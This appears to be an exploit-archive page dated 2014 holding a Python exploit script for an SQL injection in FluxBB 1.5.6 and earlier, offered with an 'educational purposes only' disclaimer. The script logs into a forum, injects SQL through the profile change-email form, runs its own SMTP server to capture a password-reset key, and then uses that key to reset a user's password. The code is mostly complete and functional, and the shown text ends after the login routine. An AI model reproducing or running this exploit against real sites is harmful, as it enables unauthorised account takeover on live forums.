Exploits / Vulnerability Discovered : 2014-11-21 |
Type : webapps |
Platform : multiple
This exploit / vulnerability Fluxbb < 1.5.6 sql injection is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
#!/usr/bin/env python
# Friday, November 21, 2014 - secthrowaway () safe-mail net
# FluxBB <= 1.5.6 SQL Injection
# make sure that your IP is reachable
import urllib, sys, smtpd, asyncore, re, sha
from email import message_from_string
from urllib2 import Request, urlopen
ua = "Mozilla/5.0 (Windows NT 6.2; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.17 Safari/537.36"
bindip = '0.0.0.0'
def stage1(sql):
if len(sql) > 80:
sys.exit('SQL too long, max 80 chars')
print "1st stage: %s (%d chars)" % (sql, len(sql))
r = urlopen(Request('%sprofile.php?action=change_email&id=%s' % (url, uid), data="form_sent=1&req_new_email=%s&req_password=%s&new_email=Submit" % (urllib.quote(sql), pwd), headers={"Referer": "%sprofile.php" % url, "User-agent": ua, "Cookie": cookie})).read()
if 'An email has been sent to the specified address' not in r:
sys.exit('err')
def stage3(key):
print "3rd stage, using key: %s" % key
r = urlopen(Request('%sprofile.php?action=change_pass&id=%s&key=%s' % (url, uid, key), headers={"User-agent": ua})).read()
if 'Your password has been updated' in r:
print 'success'
else:
print 'err'
class stage2_smtp(smtpd.SMTPServer):
def process_message(self, peer, mailfrom, rcpttos, data):
print '2nd stage: got mail', peer, mailfrom, "to:", rcpttos
key = re.search("(https?://.*&key=([^\s]+))", message_from_string(data).get_payload(decode=True), re.MULTILINE)
if key is not None:
raise asyncore.ExitNow(key.group(2))
return
def login():
print "logging in"
r = urlopen(Request('%slogin.php?action=in' % url, data="form_sent=1&req_username=%s&req_password=%s" % (user, pwd), headers={"User-agent": ua}))
try:
t = r.info()['set-cookie'].split(';')[0]
return (t.split('=')[1].split('%7C')[0], t)
except:
sys.exit('unable to login, check user/pass')